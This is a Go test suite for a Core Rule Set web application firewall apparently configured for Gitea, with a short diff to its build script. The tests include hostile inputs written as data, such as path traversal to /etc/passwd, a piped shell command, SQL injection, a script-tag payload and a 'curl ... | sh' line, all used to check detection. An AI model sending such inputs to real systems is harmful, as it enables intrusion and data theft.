crs := atDefaults(t)
for _, value := range []struct {
name string
// result is what a parameter that is not one of gitea's gets.
result waf.Result
}{
// A file on the list of system files.
{".gitignore", matched(930120)},
// A command's name, after a directory on the list of shell paths.
{"bin/docker-entrypoint", matched(932260, 932160)},
} {
for _, parameter := range []string{
"path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow",
"artifactName", "redirect_to",
} {
wantChange(t, crs, get("/?"+parameter+"="+value.name),
get("/?q="+value.name), value.result)
}
}
// What only those rules refuse gets through there too, but path
// traversal and SQL injection are still refused.
wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"),
matched(930120, 932160))
wantResult(t, crs, get("/?path=../../etc/passwd"),
waf.Result{RuleIDs: []int{930100, 930110}, Score: 20})
wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100))
}
func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
wantChange(t, crs, get("/?Path=.gitignore"), get("/?q=.gitignore"), matched(930120))
wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"),
get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
}
func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
t.Parallel()
const (
flash = "success%3DFile%2Bpackage.json%2Bdeleted"
redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json"
)
crs := atDefaults(t)
wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash),
get("/owner/repo", "Cookie: flash="+flash), matched(930120))
wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
get("/", "Cookie: redirect="+redirectTo), matched(930120))
// Among other cookies, which are read.
wantChange(t, crs,
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+
"; i_like_gitea=abc"),
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+
"; i_like_gitea=abc"),
matched(930120))
}
func TestRefererIsNotCheckedForACommandOrJavaStartingAProcess(t *testing.T) {
t.Parallel()
const (
search = "https://git.example/explore/repos?q=env"
runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" +
"java.base/share/classes/java/lang/Runtime.java"
)
crs := atDefaults(t)
wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search),
matched(932340))
wantChange(t, crs, get("/", "Referer: "+runtimeJava),
get("/", "X-Page: "+runtimeJava), matched(944110))
// It is still checked for script and SQL injection.
wantResult(t, crs,
get("/", "Referer: https://git.example/?q=<script>alert(1)</script>"),
matched(941110, 941160))
wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"),
matched(942100))
}
func TestEmptyHeaderIsRead(t *testing.T) {
t.Parallel()
// An empty User-Agent is a notice, which adds 2.
wantResult(t, atDefaults(t), get("/", "User-Agent: "),
waf.Result{RuleIDs: []int{920330}, Score: 2})
}
func TestParanoiaLevel(t *testing.T) {
t.Parallel()
// Accept-Charset is refused from paranoia level 2.
r := get("/", "Accept-Charset: utf-8")
wantResult(t, newCoreRuleSet(t, 1), r, waf.Result{})
wantResult(t, newCoreRuleSet(t, 2), r, matched(920451))
}
func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
t.Parallel()
// A method not allowed, and a Host that is an IP address, a warning,
// which adds 3.
r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
wantResult(t, newCoreRuleSet(t, 1), r,
waf.Result{RuleIDs: []int{911100, 920350}, Score: 8})
wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, waf.Result{})
}
// bodyLimit is SWWAF_WAF_BODY_LIMIT in the tests that read bodies.
const bodyLimit = 8 << 10
// The Content-Type headers of the kinds of body the Core Rule Set reads.
const (
formData = "Content-Type: application/x-www-form-urlencoded"
multipart = "Content-Type: multipart/form-data; boundary=b"
jsonBody = "Content-Type: application/json"
xmlBody = "Content-Type: application/xml"
)
// injection is an SQL injection, which rule 942100 matches.
const injection = "1' OR '1'='1"
// readingBodies returns the Core Rule Set as smallwebwaf runs it by
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *waf.CoreRuleSet {
t.Helper()
crs, err := waf.New(waf.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// post is a POST request for / with a body of the type contentType, a
// Content-Type header, gives, and headers besides.
func post(contentType string, headers ...string) request {
return request{http.MethodPost, "/", append([]string{contentType}, headers...)}
}
// field is a part of a multipart body: the field name, holding value.
func field(name, value string) string {
return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" +
value + "\r\n"
}
// end ends a multipart body.
const end = "--b--\r\n"
// padded returns head and tail with as many a's between them as make n
// bytes in all.
func padded(head, tail string, n int) string {
return head + strings.Repeat("a", n-len(head)-len(tail)) + tail
}
// wantBody checks what crs finds in r with body, and that what it read of
// body is read.
func wantBody(
t *testing.T, crs *waf.CoreRuleSet, r request, body string, want waf.Result,
read string,
) {
t.Helper()
got, gotRead := inspectBody(t, crs, r, body)
if !reflect.DeepEqual(got, want) || gotRead != read {
t.Errorf("%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+
"want %+v, reading %d", r.headers, len(body), body, got, len(gotRead),
want, len(read))
}
}
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
t.Parallel()
off, on := atDefaults(t), readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, "q=" + url.QueryEscape(injection)},
{multipart, field("q", injection) + end},
{jsonBody, `{"q":"` + injection + `"}`},
{xmlBody, "<q>" + injection + "</q>"},
} {
wantBody(t, off, post(tc.header), tc.body, waf.Result{}, "")
wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body)
}
}
func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
pad := strings.Repeat("a", bodyLimit)
for _, tc := range []struct{ header, attackFirst, attackLast string }{
{
formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad,
"pad=" + pad + "&q=" + url.QueryEscape(injection),
},
{
multipart, field("q", injection) + field("pad", pad) + end,
field("pad", pad) + field("q", injection) + end,
},
} {
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
tc.attackFirst[:bodyLimit+1])
wantBody(t, crs, post(tc.header), tc.attackLast, waf.Result{},
tc.attackLast[:bodyLimit+1])
}
// To the byte: a system file's path is found when it ends at the limit,
// and not when its last letter is past it, which is still read.
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit)
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
wantBody(t, crs, post(formData), pastLimit, waf.Result{}, pastLimit)
}
func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, tc := range []struct{ header, head, tail string }{
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
} {
fits := padded(tc.head, tc.tail, bodyLimit)
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
larger := padded(tc.head, tc.tail, bodyLimit+1)
wantBody(t, crs, post(tc.header), larger, waf.Result{}, larger)
}
}
func TestOtherBodiesAreNotRead(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// Read as form data, which the Core Rule Set does with a body of a type
// it does not know, this would be an SQL injection.
body := "q=" + url.QueryEscape(injection)
for _, header := range []string{
"Content-Type: application/octet-stream",
"Content-Type: text/plain",
"Content-Type: application/x-git-receive-pack-request",
} {
wantBody(t, crs, post(header), body, waf.Result{}, "")
}
}
func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.T) {
t.Parallel()
const gzip = "Content-Encoding: gzip"
crs := readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, "a=1"},
{multipart, field("a", "1") + end},
{jsonBody, `{"a":1}`},
{xmlBody, "<a>1</a>"},
} {
wantBody(t, crs, post(tc.header, gzip), tc.body, matched(920450), tc.body)
}
// Whatever its size: a JSON body larger than the limit is not read, but
// Content-Encoding on it is refused all the same.
larger := strings.Repeat("a", bodyLimit+1)
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
// It is allowed on a body of any other kind, and on every body while no
// body is read.
fetch := "Content-Type: application/x-git-upload-pack-request"
wantBody(t, crs, post(fetch, gzip), "a", waf.Result{}, "")
wantBody(t, atDefaults(t), post(formData, gzip), "a", waf.Result{}, "")
}
func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
local := url.QueryEscape("http://127.0.0.1:52341/")
for _, tc := range []struct {
body string
want waf.Result
}{
{"path=.gitignore", waf.Result{}},
{"q=.gitignore", matched(930120)},
{"redirect_uri=" + local, waf.Result{}},
{"next=" + local, matched(931100, 934110)},
} {
wantBody(t, crs, post(formData), tc.body, tc.want, tc.body)
}
body := field("path", ".gitignore") + end
wantBody(t, crs, post(multipart), body, waf.Result{}, body)
body = field("q", ".gitignore") + end
wantBody(t, crs, post(multipart), body, matched(930120), body)
// A JSON body's field is named by its path, here json.path, and is
// checked.
body = `{"path":".gitignore"}`
wantBody(t, crs, post(jsonBody), body, matched(930120), body)
}
func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A comment that shows a shell command.
const text = "Try `curl -s https://example.org | sh` first."
comment := "content=" + url.QueryEscape(text)
wantBody(t, crs, post(formData), comment, matched(932235), comment)
// An attachment named like a log file.
attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end
wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
}
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, tc := range []struct{ contentType, body string }{
{"application/atom+xml", "<q>" + injection + "</q>"},
{"application/vnd.example+xml", "<q>" + injection + "</q>"},
{"application/vnd.example+json", `{"q":"` + injection + `"}`},
{"text/json", `{"q":"` + injection + `"}`},
} {
wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body,
matched(942100), tc.body)
}
}
func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// An end tag after the root element, past which Coraza reads none of
// the body, while an app may still read the attack before it.
body := "<q>" + injection + "</q></r>"
wantBody(t, crs, post(xmlBody), body, matched(900440), body)
// The multipart bodies Coraza cannot parse fail its strict checks too:
// one whose type names its boundary twice, and one with a part header
// that has no colon, before the attack. They do so padded past the
// limit too, which cuts them in the padding.
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
pad := field("pad", strings.Repeat("a", bodyLimit))
for _, tc := range []struct{ header, head string }{
{multipart + "; boundary=c", ""},
{multipart, noColon},
} {
body = tc.head + field("q", injection) + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body)
body = tc.head + field("q", injection) + pad + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
body[:bodyLimit+1])
}
}
func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
t.Parallel()
// The limit falls in the middle of the name of the second part's
// header, which Coraza, reading up to the limit, cannot tell from a
// header without a colon.
cut := "--b\r\nContent-Di"
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)))
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
wantBody(t, readingBodies(t), post(multipart), body, matched(900440, 900450),
body[:bodyLimit+1])
}
func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r"
// The limit falls between the carriage return and the line feed that
// end the second part's header line, and then between those that end
// the empty line after it. Coraza, reading up to the limit, takes the
// line ending in a lone carriage return for a malformed header.
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut))
body := first + field("q", "1") + end
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
body[:bodyLimit+1])
}
}
// TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the
// system's temporary directory, for the whole test process.
func TestCorazaWritesNoFile(t *testing.T) {
// The system's temporary directory is one that does not exist, so that
// Coraza could write nothing there: built without no_fs_access, it
// refuses to load, and could not write a file of a multipart body.
t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing"))
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" +
strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end
wantBody(t, readingBodies(t), post(multipart), body, matched(942100), body)
}
func TestBodyLimitOf1GLoads(t *testing.T) {
t.Parallel()
_, err := waf.New(waf.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30})
if err != nil {
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
}
}
+2 -2
View File
@@ -1,7 +1,7 @@
#!/bin/sh #!/bin/sh
# script/build: build bin/smallwebwaf on the host, with Go installed, for # script/build: build bin/smallwebwaf on the host, with Go installed, for
# working on the code by hand. The version it reports comes from git, as # working on the code by hand. The version it reports comes from git, as
# in script/docker. # in script/docker, and the no_fs_access tag is the Dockerfile's.
set -eu set -eu
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)" SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
@@ -11,7 +11,7 @@ main() {
cd "$ROOT" cd "$ROOT"
version="$(git describe --tags --always --dirty 2>/dev/null || true)" version="$(git describe --tags --always --dirty 2>/dev/null || true)"
[ -n "$version" ] || version="unknown" [ -n "$version" ] || version="unknown"
go build -trimpath -ldflags "-X main.Version=$version" \ go build -tags no_fs_access -trimpath -ldflags "-X main.Version=$version" \
-o bin/smallwebwaf ./cmd/smallwebwaf -o bin/smallwebwaf ./cmd/smallwebwaf
} }